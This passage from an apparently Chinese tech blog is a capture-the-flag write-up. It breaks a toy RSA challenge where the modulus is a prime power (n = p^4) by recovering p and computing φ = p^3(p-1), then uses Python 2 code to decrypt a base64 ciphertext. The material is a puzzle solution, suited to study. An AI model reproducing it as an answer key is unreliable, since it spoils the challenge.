rbit = 1024
step = int(log2(2**rbit - left)) - 8
while True:
    step = step - 1
    for i in range(left, 2**rbit+1, 2 ** step):
        if i ** r == target:
            print(i, 'solve')
            exit()
        if i ** r > target:
            left = i - 2 ** step
            print(i)
            break
    else:
        print('noooooo')
        break

得到

p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4

计算 φ(p^k)=(p-1)p^(k-1)
求逆元, 解码 done.

import gmpy2
from Crypto.Util.number import *
p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4
e = 58134567416061346246424950552806959952164141873988197038339318172373514096258823300468791726051378264715940131129676561677588167620420173326653609778206847514019727947838555201787320799426605222230914672691109516799571428125187628867529996213312357571123877040878478311539048041218856094075106182505973331343540958942283689866478426396304208219428741602335233702611371265705949787097256178588070830596507292566654989658768800621743910199053418976671932555647943277486556407963532026611905155927444039372549162858720397597240249353233285982136361681173207583516599418613398071006829129512801831381836656333723750840780538831405624097443916290334296178873601780814920445215584052641885068719189673672829046322594471259980936592601952663772403134088200800288081609498310963150240614179242069838645027877593821748402909503021034768609296854733774416318828225610461884703369969948788082261611019699410587591866516317251057371710851269512597271573573054094547368524415495010346641070440768673619729280827372954003276250541274122907588219152496998450489865181536173702554116251973661212376735405818115479880334020160352217975358655472929210184877839964775337545502851880977049299029101466287659419446724781305689536816523774995178046989696610897508786776845460908137698543091418571263630383061605011820139755322231913029643701770497299157169690586232187419462594477116374977216427311975598620616618808494138669546120288334682865354702356192972496556372279363023366842805886601834278434406709218165445335977049796015123909789363819484954615665668979
n = 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721L
d = gmpy2.invert(e, p**3 *(p-1))
print d
enc = '''YXmuOsaD1W4poLAG2wPrJ/nYZCkeOh2igCYKnZA6ecCeJadT6B3ZVTciPN6LJ8AcAsRXNnkC6+9P
NJPhmosSG5UGGbpIcg2JaZ1iA8Sm3fGiFacGvQsJOqqIWb01rjaQ3rDBKB331rrNo9QNOfMnjKr0
ejGG+dNObTtvnskICbYbNnSxMxLQF57H5JnWZ3LbbKQ493vmZzwvC6iH8blNPAp3dBlVzDqIAmxm
Ubk0OzFjPoHphD1oxHdzXyQNW+sLxVldrf9xcItq92jN5sqBYrG8wADIqY1/sqhTMZvkIYFMHqoM
QuiRSnVrCF2h2RtGDEayLo0evgXI/0W3YveyKCHViOnG6wypcBFm91ZWdjp3fVW/4DyxW6xu9hg/
NlXyRP6pT/OyQpcyTqKRuiXJLWgFUJI/8TRgyAjBLLgSd3U0N3VM8kewXw5j+fMUTCW9/Gy4iP8m
52Zabx/vEKdwdGZ0QyvgvAWGUFZ96EK0g1BM/LU9Tuu2R+VKcCSCprg283x6NfYxmU26KlQE6Zrr
jLmbCOe0327uaW9aDbLxZytPYIE5ZkzhSsD9JpQBKL30dCy3UKDbcuNgB6SrDddrbIuUd0/kLxuw
h6kTqNbC4NDrOT4WAuP4se8GGOK8Wz0dL6rE6FkzMnI4Qg501MTSNQZ4Bp7cNf6H9lTa/4DNOl0='''.decode('base64')
m = bytes_to_long(enc)
dec = pow(m, d, n)
print long_to_bytes(dec)

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now